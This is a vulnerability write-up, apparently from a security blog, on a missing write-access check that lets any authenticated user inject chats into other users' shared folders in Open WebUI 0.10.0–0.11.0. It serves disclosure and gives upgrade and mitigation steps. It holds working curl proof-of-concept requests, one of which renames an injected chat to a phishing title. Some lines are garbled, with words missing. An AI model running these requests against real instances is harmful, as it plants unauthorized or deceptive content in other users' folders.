Listen to this Post
Open WebUI exposes chat-completions endpoints.
The affected paths are POST /api/chat/completions and POST /api/v1/chat/completions.
The handler lives in backend/open_webui/main.py.
It creates a chat when the request has parent_id: null and no chat id.
The client can supply a folder id in the request body.
The handler copies that folder id into the chat record it saves.
It does not verify that the caller can write to that folder.
The dedicated chat-creation endpoint POST /api/v1/chats/new did enforce the check.
The chat-move path also enforced the check.
The completions path did not.
Folders are enabled by default.
Defaults include ENABLE_FOLDERS=true.
Defaults include USER_PERMISSIONS_FEATURES_FOLDERS=true.
Any authenticated account can reach the vulnerable path.
No elevated role is required.
The attacker must know the target folder id.
A shared-folder member obtains the id from the shared-folder listing.
Named-user folder sharing is available to ordinary users by default.
Wildcard public sharing is gated.
A never-shared folder id is not obtainable through attacker-available endpoints.
Releases before 0.10.0 had the same missing check.
Those older releases had no read path listing folder chats across owners.
The injected row was therefore not visible to anyone.
From 0.10.0 through 0.11.0, folder listings return chats across owners.
That change made shared folders work.
It also made an unauthorized folder write visible to the whole folder.
A read-only member of a shared folder can inject a chat.
A user with no access can inject if they know the folder id.
The injected chat shows the attacker’s display name.
The attacker controls the and can rename it later.
Members with read access can open and read the injected chat.
Fixed in 0.11.1 by open-webui/open-webui28366.
DailyCVE Form:
Platform: Open WebUI
Version: 0.10.0-0.11.0
Vulnerability: Missing folder write-access
Severity: Not stated
date: Not stated
Prediction: Fixed in 0.11.1
What Undercode Say:
Analytics:
TARGET="http://localhost:8080"
VICTIM_TOKEN="..."
ATTACKER_TOKEN="..."
FOLDER_ID="victim-folder-id"
Victim creates folder
curl -s -X POST "$TARGET/api/v1/folders/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Victim Folder"}'
Attacker tries dedicated chat-creation endpoint
curl -i -X POST "$TARGET/api/v1/chats/new" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"folder_id":"'"$FOLDER_ID"'","chat":{"":"x","messages":[]}}'
Attacker uses completions creation path
curl -i -X POST "$TARGET/api/chat/completions" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"model":"gpt-3.5-turbo","parent_id":null,"folder_id":"'"$FOLDER_ID"'","messages":[{"role":"user","content":"injected"}]}'
Victim lists folder chats
curl -i "$TARGET/api/v1/folders/$FOLDER_ID/chats" \
-H "Authorization: Bearer $VICTIM_TOKEN"
How Exploit: (Educational Purposes!)
1. Authenticate as attacker and victim
2. Obtain target folder id from shared listing or known id
3. Send completions request with parent_id null and folder_id
curl -i -X POST "$TARGET/api/chat/completions" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"model":"gpt-3.5-turbo","parent_id":null,"folder_id":"'"$FOLDER_ID"'","messages":[{"role":"user","content":"attacker controlled"}]}'
4. Victim lists folder and sees attacker-owned chat
5. Attacker renames own chat; new appears in victim folder
curl -i -X POST "$TARGET/api/v1/chats/$CHAT_ID" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"":"phishing "}'
Protection: from this CVE
Upgrade to 0.11.1. Use open-webui/open-webui28366. Enforce shared folder write-access check. Reject unwritable folder ids. Keep ENABLE_FOLDERS true only if needed. Restrict named-user sharing. Monitor folder chat creation.
Impact:
Integrity of folder contents. Unauthorized chats placed. Read-only members can inject. No-access users can inject if folder id known. Visible to all readers. Attacker display name shown. Attacker controls . Attacker can rename anytime. Members can open injected chat. Members can read messages. Misleading content possible. Phishing content possible. Trusted shared folders affected. Nothing disclosed to attacker. No read access granted. Existing data not altered. Other users' data not modified. Other users' data not deleted. Availability unaffected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
